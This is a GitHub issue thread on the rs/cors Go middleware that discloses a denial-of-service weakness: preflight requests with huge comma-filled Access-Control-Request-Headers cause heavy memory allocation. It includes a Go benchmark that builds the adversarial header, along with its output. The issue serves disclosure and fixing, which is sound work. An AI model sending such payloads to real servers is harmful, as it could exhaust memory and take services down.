rs/cors

Some malicious/spoofed preflight requests cause prohibitive load

jub0bs opened this issue · 3 comments

Problem

The middleware processes the Access-Control-Request-Headers (ACRH) header of preflight requests in a rather suboptimal way. More specifically, processing a preflight request with a maliciously long ACRH header (or multiple such headers) requires a relatively long time and causes a lot of heap allocations:

func BenchmarkPreflightAdversarialACRH(b *testing.B) {
	resps := makeFakeResponses(b.N)
	req, _ := http.NewRequest(http.MethodOptions, dummyEndpoint, nil)
	req.Header.Add(headerOrigin, dummyOrigin)
	req.Header.Add(headerACRM, http.MethodGet)
	req.Header[headerACRH] = adversarialACRH
	handler := Default().Handler(testHandler)

	b.ReportAllocs()
	b.ResetTimer()
	for i := 0; i < b.N; i++ {
		handler.ServeHTTP(resps[i], req)
	}
}

var adversarialACRH []string

func init() { // populates adversarialACRH
	n := int(math.Floor(math.Sqrt(http.DefaultMaxHeaderBytes)))
	commas := strings.Repeat(",", n)
	res := make([]string, n)
	for i := range res {
		res[i] = commas
	}
	adversarialACRH = res
}
$ go test -benchmem -run=^$ -bench ^BenchmarkPreflightAdversarialACRH$

oos: darwin
goarch: amd64
pkg: github.com/rs/cors
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
BenchmarkPreflightAdversarialACRH-8   	       9	 127347568 ns/op	121176114 B/op	    1053 allocs/op
PASS
ok  	github.com/rs/cors	3.628s

That's 127ms of execution time and a whopping 116 MiB of heap allocations to process a single 1-MiB malicious preflight request! 😬

Impact

This behaviour could be abused by attackers to produce undue load on the middleware/server as an attempt to cause a denial of service. I conducted some local tests: I created a small server configured for CORS with rs/cors and ran it in a Docker container with limited memory; concurrently sending a modest number of malicious preflight requests was enough to make the container run out of memory and die. 💀

Moreover, because CORS middleware occurs before authentication, attackers wouldn't even need to be authenticated.

Sure, most WAFs would likely drop those malicious preflight requests, but not all servers sit behind a WAF.

Solution

I have a fix ready and will submit a PR shortly.

rs commented

Thanks, looking forward to your PR.

Do we have any CVE assigned for this issue?

@ilayathalapathy-3719 AFAIK, no CVE was assigned for this issue, but I did notify the Go Vulnerability Database about it.

Out of curiosity: are you observing exploitation of this issue in the wild?